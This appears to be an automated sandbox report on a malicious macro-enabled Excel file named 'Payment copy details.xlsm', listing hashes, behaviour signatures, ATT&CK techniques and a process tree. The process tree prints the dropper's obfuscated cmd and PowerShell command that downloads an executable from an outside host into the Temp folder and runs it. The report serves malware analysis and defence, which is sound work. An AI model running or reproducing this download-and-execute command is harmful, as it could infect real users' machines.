3fa582c6429bfe7cb4932594db7265d2540256c36341194341b38511241bd3ec

General

Target

Payment copy details.xlsm
Size

13KB
MD5

d6db15ab7f42874b6bf76b6ea59be9a7
SHA1

5c2cd0f4131bf097493bda618d0bfbf1e7c24bf1
SHA256

3fa582c6429bfe7cb4932594db7265d2540256c36341194341b38511241bd3ec
SHA512

50d9a8051f5b709df96b6962d7a83fbb67d96c03315b4671a79637f91aa59f916b8345fd2170309b4c10e0b4a9c44badc16fcf7136a4ba3279e66bfb78c754e2

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://hosseinsoltani.ir/LEGITTTT.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2344	812	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

28 480 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

eWTPJ.bat

pid process

656 eWTPJ.bat

flow	pid	process
28	480	powershell.exe

pid	process
656	eWTPJ.bat

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

812 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

480 powershell.exe
480 powershell.exe
480 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 480 powershell.exe

pid	process
480	powershell.exe
480	powershell.exe
480	powershell.exe

description	pid	process
Token: SeDebugPrivilege	480	powershell.exe

Suspicious use of SetWindowsHookEx 16 IoCs

Processes:

EXCEL.EXE

pid	process
812	EXCEL.EXE
812	EXCEL.EXE
812	EXCEL.EXE
812	EXCEL.EXE
812	EXCEL.EXE
812	EXCEL.EXE
812	EXCEL.EXE
812	EXCEL.EXE
812	EXCEL.EXE
812	EXCEL.EXE
812	EXCEL.EXE
812	EXCEL.EXE
812	EXCEL.EXE
812	EXCEL.EXE
812	EXCEL.EXE
812	EXCEL.EXE

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 812 wrote to memory of 2344	812	EXCEL.EXE	cmd.exe
PID 812 wrote to memory of 2344	812	EXCEL.EXE	cmd.exe
PID 2344 wrote to memory of 480	2344	cmd.exe	powershell.exe
PID 2344 wrote to memory of 480	2344	cmd.exe	powershell.exe
PID 812 wrote to memory of 656	812	EXCEL.EXE	eWTPJ.bat
PID 812 wrote to memory of 656	812	EXCEL.EXE	eWTPJ.bat
PID 812 wrote to memory of 656	812	EXCEL.EXE	eWTPJ.bat

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Payment copy details.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:812

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c start p^owersh^el^l -w 1 (New-Object Net.WebClient).DownloadFile('http://hosseinsoltani.ir/LEGITTTT.exe',($env:Temp)+'\eWTPJ.bat')
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2344

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w 1 (New-Object Net.WebClient).DownloadFile('http://hosseinsoltani.ir/LEGITTTT.exe',($env:Temp)+'\eWTPJ.bat')
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:480

C:\Users\Admin\AppData\Local\Temp\eWTPJ.bat
C:\Users\Admin\AppData\Local\Temp\eWTPJ.bat
2⤵
- Executes dropped EXE
PID:656

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\eWTPJ.bat
MD5
45bfdbcf923c3f8a95dae8ac6b21507e

SHA1
e9f512bccb1b0555691cd8beee304e91f2bf01f2

SHA256
bef848a6d990d1d7b99a027b4c519366cfc441ddce8a3129b3d38fa8268653e1

SHA512
02cf8feec8adaf2718c3acb48e4856461edc69eb66362926fdec977070ac120dd98ecd5817740f2bef7f55b2563b952d28343adf5d4ab03ca07b06f2fddc2c28

Download Submit
C:\Users\Admin\AppData\Local\Temp\eWTPJ.bat
MD5
45bfdbcf923c3f8a95dae8ac6b21507e

SHA1
e9f512bccb1b0555691cd8beee304e91f2bf01f2

SHA256
bef848a6d990d1d7b99a027b4c519366cfc441ddce8a3129b3d38fa8268653e1

SHA512
02cf8feec8adaf2718c3acb48e4856461edc69eb66362926fdec977070ac120dd98ecd5817740f2bef7f55b2563b952d28343adf5d4ab03ca07b06f2fddc2c28

Download Submit
memory/480-14-0x0000022F53E46000-0x0000022F53E48000-memory.dmp

Filesize
8KB

Download
memory/480-11-0x0000022F53F50000-0x0000022F53F51000-memory.dmp

Filesize
4KB

Download
memory/480-12-0x0000022F53E40000-0x0000022F53E42000-memory.dmp

Filesize
8KB

Download
memory/480-13-0x0000022F53E43000-0x0000022F53E45000-memory.dmp

Filesize
8KB

Download
memory/480-8-0x0000000000000000-mapping.dmp

Download
memory/480-9-0x00007FFB7BD30000-0x00007FFB7C71C000-memory.dmp

Filesize
9.9MB

Download
memory/480-10-0x0000022F3BBD0000-0x0000022F3BBD1000-memory.dmp

Filesize
4KB

Download
memory/656-21-0x0000000005400000-0x0000000005401000-memory.dmp

Filesize
4KB

Download
memory/656-22-0x00000000059A0000-0x00000000059A1000-memory.dmp

Filesize
4KB

Download
memory/656-25-0x00000000053D0000-0x00000000053D1000-memory.dmp

Filesize
4KB

Download
memory/656-26-0x00000000056D0000-0x000000000570D000-memory.dmp

Filesize
244KB

Download
memory/656-24-0x00000000058F0000-0x00000000058F1000-memory.dmp

Filesize
4KB

Download
memory/656-23-0x0000000005770000-0x0000000005771000-memory.dmp

Filesize
4KB

Download
memory/656-16-0x0000000000000000-mapping.dmp

Download
memory/656-18-0x0000000074070000-0x000000007475E000-memory.dmp

Filesize
6.9MB

Download
memory/656-19-0x0000000000920000-0x0000000000921000-memory.dmp

Filesize
4KB

Download
memory/812-5-0x00007FFB60CA0000-0x00007FFB60CB0000-memory.dmp

Filesize
64KB

Download
memory/812-3-0x00007FFB60CA0000-0x00007FFB60CB0000-memory.dmp

Filesize
64KB

Download
memory/812-4-0x00007FFB60CA0000-0x00007FFB60CB0000-memory.dmp

Filesize
64KB

Download
memory/812-6-0x00007FFB84DB0000-0x00007FFB853E7000-memory.dmp

Filesize
6.2MB

Download
memory/812-2-0x00007FFB60CA0000-0x00007FFB60CB0000-memory.dmp

Filesize
64KB

Download
memory/2344-7-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads